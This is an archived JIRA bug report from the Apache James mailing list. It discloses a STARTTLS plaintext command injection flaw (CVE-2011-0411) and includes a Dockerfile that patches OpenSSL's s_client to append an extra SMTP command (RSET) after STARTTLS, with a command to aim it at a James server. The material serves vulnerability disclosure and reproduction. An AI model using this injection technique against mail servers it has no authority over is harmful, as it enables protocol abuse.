james-server-dev mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From "Luc (JIRA)" <server-...@james.apache.org>
Subject [jira] [Created] (JAMES-1862) Plaintext command injection of STARTTLS (CVE-2011-0411)
Date Thu, 17 Nov 2016 16:14:58 GMT
Luc created JAMES-1862:

             Summary: Plaintext command injection of STARTTLS (CVE-2011-0411)
                 Key: JAMES-1862
                 URL: https://issues.apache.org/jira/browse/JAMES-1862
             Project: James Server
          Issue Type: Bug
          Components: James Core
    Affects Versions: 3.0-beta4
         Environment: centos6/7/windows openjdk8/jdk8 jboss eap6.4.2
            Reporter: Luc
            Priority: Critical

Security issue described by this post :
Plaintext command injection in multiple implementations of STARTTLS

here you will find a dockerfile to run patched openssl, as described in previous link, to
see the security issue.

FROM centos:latest
### Some env variables
RUN yum clean all \
&& yum -y update \
### Install tool for compiling
&& yum -y install gcc \
&& yum -y install make \
&& yum -y install wget \
&& yum -y install tar \
&& yum -y install perl \
&& yum clean all
RUN wget "https://www.openssl.org/source/openssl-${OPENSSL_VERSION}.tar.gz" -P /tmp/ \
&& tar -xvf /tmp/openssl-${OPENSSL_VERSION}.tar.gz \
&& rm -rf /tmp/openssl-${OPENSSL_VERSION}.tar.gz
RUN sed -i -e 's/BIO_printf(sbio, "STARTTLS\\r\\n")/BIO_printf(sbio, "STARTTLS\\r\\nRSET\\r\\n")/g'
RUN cd openssl-${OPENSSL_VERSION} \
&& ./Configure linux-x86_64 \
&& make \
&& make install \
&& cd .. \
&& rm -rf openssl-${OPENSSL_VERSION}

# run this command in container :
# /usr/local/ssl/bin/openssl s_client -quiet -starttls smtp -connect {replace with your james
listen address}:{replace with your james listen port}

This message was sent by Atlassian JIRA

To unsubscribe, e-mail: server-dev-unsubscribe@james.apache.org
For additional commands, e-mail: server-dev-help@james.apache.org

View raw message